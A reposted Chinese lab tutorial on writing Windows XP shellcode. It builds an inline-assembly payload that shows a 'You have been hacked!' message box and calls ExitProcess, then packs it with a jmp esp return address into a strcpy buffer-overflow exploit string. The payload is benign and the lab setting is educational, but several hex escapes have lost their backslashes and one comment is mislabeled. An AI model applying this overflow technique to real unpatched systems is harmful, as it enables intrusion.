ShellCode的编写【转载】

家住魔仙堡 提交于 2019-11-29 01:40:31

课程简介

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
课程介绍
  • 实验环境
  • 操作机:Windows XP
  • 实验工具:
Tools
Path
OllyICE
C:\Tools\OllyICE
  • 实验文件:
  • OverrunTest_4.exe
  • SearchExitProcess.exe
  • SearchMessageBox.exe
  • MessageBox.exe
理解ShellCode原理,掌握ShellCode的编写与转换。
实验步骤

第一步 下载实验文件
请访问http://tools.ichunqiu.com/36ad5bc3下载实验文件
i提示
  • 在本次实验中,请注意实验工具、实验文件存放路径,不同的文件路径可能会出现不一样的实验结果。
  • 在实验环境中无法连接互联网,请使用您本地的网络环境。
快速查找实验工具
  • 打开桌面 Everything 搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。
  • 以查找BURP为例为大家演示。

第二步 获取相关函数的地址
使用i下载实验文件,点击MessageBox实例并弹出提示框,使用Notepad++查看程序源码。

那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//获取user32.dll的地址
printf("user32 = 0x%x
", LibHandle);
//获取MessageBoxA的地址
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x
", ProcAdd);
getchar();
return 0;
}
其显示结果如下:

由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。 由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:

可见ExitProcess()函数的地址为0x7c81cafa

第三步 编写汇编代码
既然获取到了相应的内存地址,那么接下来就需要通过汇编来编写可执行代码片段了,在编写这段代码之前,先来了解一下汇编语言的调用约定。
 
但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。
 
在实际的编程中,一般还是先将地址赋给eax寄存器,然后再CALL相应的寄存器,实现调用。
 
如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。
 
在实际的编程中,一般还是先将地址赋给eax寄存器,然后再CALL相应的寄存器实现调用,比如现在有一个函数 lyshark(a,b,c,d),我们想调用它,那么它的汇编代码就应该编写为:
push d
push c
push b
push a
mov eax,AddressOflyshark
call eax
 
 
push c
push b
push a
mov eax,AddressOfFunction
call eax
 
 
 
 
根据这个思想,我们就可以在VC++中利用内联汇编来调用 ExitProcess()这个函数:
xor ebx, ebx
push ebx
mov eax, 0x7c81cafa
call eax
 
接着编写 MessageBox() 这个函数调用。与上个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,
 
这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:
Warning :
x57x61x72x6ex69x6ex67
You have been hacked!(by J.Y.) :
x59x6fx75x20x68x61x76x65x20x62x65x65x6ex20x68x61x63x6bx65x64x21x28x62x79x20x4ax2ex59x2ex29
 
 
然后将每四个字符为一组,进行分组,将不满四个字符的,以空格x20进行填充:
Warning :
x57x61x72x6e
x69x6ex67x20
You have been hacked!(by J.Y.) :
x59x6fx75x20
x68x61x76x65
x20x62x65x65
x6ex20x68x61
x63x6bx65x64
x21x28x62x79
x20x4ax2ex59
x2ex29x20x20
这里之所以需要以x20进行填充,而不是x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到x00就会认为我们的字符串结束了,就不会再拷贝x00后的内容了。所以这个是需要特别留意的。
 
由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即Warning的进栈顺序为:
push 0x20676e69
push 0x6e726157 // push "Warning"
“You have been hacked!(by J.Y.)”的进栈顺序为:
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have been hacked!(by J.Y.)"
那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:
mov eax,esp mov ecx,esp
这样就可以了,最后再进行函数的调用:
push ebx
push eax
push ecx
push ebx
mov eax,0x77d507ea
call eax // call MessageBox
综合以上,完整的代码如下:
int main()
{
_asm{
sub esp,0x50
xor ebx,ebx
push ebx // cut string
push 0x20676e69
push 0x6e726157 // push "Warning"
mov eax,esp
push ebx // cut string
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have been hacked!(by J.Y.)"
mov ecx,esp
 
push ebx
push eax
push ecx
push ebx
mov eax,0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return 0;
}

第四步 将汇编代码改写为ShellCode
然后在VC中在程序的“_asm”位置先下一个断点,然后按F5Go),再单击Disassembly,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):

将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode
char name[] = "x41x41x41x41x41x41x41x41" // name[0]~name[7]
"x41x41x41x41" // EBP
"x79x5bxe3x77" // Return Address
"x83xECx50" // sub esp,0x50
"x33xDB" // xor ebx,ebx
"x53" // push ebx
"x68x69x6Ex67x20"
"x68x57x61x72x6E" // push "Warning"
"x8BxC4" // mov eax,esp
"x53" // push ebx
"x68x2Ex29x20x20"
"x68x20x4Ax2Ex59"
"x68x21x28x62x79"
"x68x63x6Bx65x64"
"x68x6Ex20x68x61"
"x68x20x62x65x65"
"x68x68x61x76x65"
"x68x59x6Fx75x20" // push "You have been hacked!(by J.Y.)"
"x8BxCC" // mov ecx,esp
"x53" // push ebx
"x50" // push eax
"x51" // push ecx
"x53" // push ebx
"xB8xeax07xd5x77"
"xFFxD0" // call MessageBox
“x53”
“xB8xFAxCAx81x7C”
"xFFxD0"; // call MessageBox
由于我们这里调用了MessageBox,因此需要在源程序中加入LoadLibrary(“user32.dll”);这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:

第五步 利用OD查看反汇编程序
最后可以再观察一下OD的数据以及堆栈区域的情况:

这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:

这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:

可以看到Warning字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。 第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:

可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。

第六步 小结
事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。
 
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!